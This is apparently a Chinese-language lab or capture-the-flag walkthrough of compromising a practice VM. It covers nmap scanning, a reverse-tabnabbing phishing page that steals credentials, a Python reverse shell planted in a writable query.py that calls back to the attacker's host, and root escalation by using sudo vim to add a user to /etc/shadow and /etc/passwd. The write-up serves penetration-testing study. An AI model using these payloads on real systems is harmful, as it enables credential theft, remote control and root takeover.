1、nmap -sn 192.168.8.0/24
2、nmap -p- -A 192.168.8.168
开放80端口
3、首页,注册登录
4、<a>标签target="_blank",存在Reverse Tabnabbing,标签钓鱼攻击。
5、构建钓鱼页面
<html>
page b
<script>
if(window.opener){
window.opener.location = "http://192.168.8.166:8000/c.html";
}
else{
alert("no vul");
}
</script>
</html>
6、启动python3 -m http.server 80 监听,同步nc -lvvp 8000端口监听,获得了账号密码
7、ssh登录,查看权限
8、find / -group administrators -type f 2>/dev/null 查看有相同权限的文件 ,发现了一个query.py
9、修改query.py为反弹shell脚本
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.8.166",4444))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"]);
10、获得反弹shell,查看sudo可执行命令,可以无需密码root权限执行vim
11、先升级成交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM = xterm-265color
ctrl+Z
stty raw -echo;fg
reset
stty rows 27 columns 77
12、使用openssl添加密钥
openssl passwd -6 -salt aaa 123456
13、使用sudo vim修改/etc/shadow文件
shadow 密码保存文件,文件每一行代表一个用户,每一行通过冒号:分为九个部分
1. 用户名2. 加密后的密码3. 上次修改密码的时间(从1970.1.1开始的总天数)4. 两次修改密码间隔的最少天数,如果为0,则没有限制5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制6. 提前多少天警告用户密码将过期7. 在密码过期之后多少天禁用此用户8. 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用9. 保留
supertest:$6$aaa$rzNpVK12/RIxUFx.HixBbeRuIJYfw78hhQ8ocZfh5S2dIwa1r7dGW52qww4wcngdOzj3A5r9ni9a8C.mruV2M0:19261:0:99999:7:::
使用sudo vim 修改/etc/passwd文件添加用户
/etc/passwd
passwd 文件的格式,每一行代表一个用户,每一行通过冒号:分为七个部分
1. 用户名2. 密码,x表示密码保存在/etc/shadow3. UID,0代表root4. GID,表示所在组5. 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other6. 用户主目录7. 默认shell类型
添加完成 su supertest切换成root账号。
-------------------------------------------------------------------------
1、Reverse Tabnabbing,标签钓鱼攻击
2、openssl passwd -6 -salt aaa 123456 创建密码,及/etc/shadow文件格式
3、/etc/passwd文件格式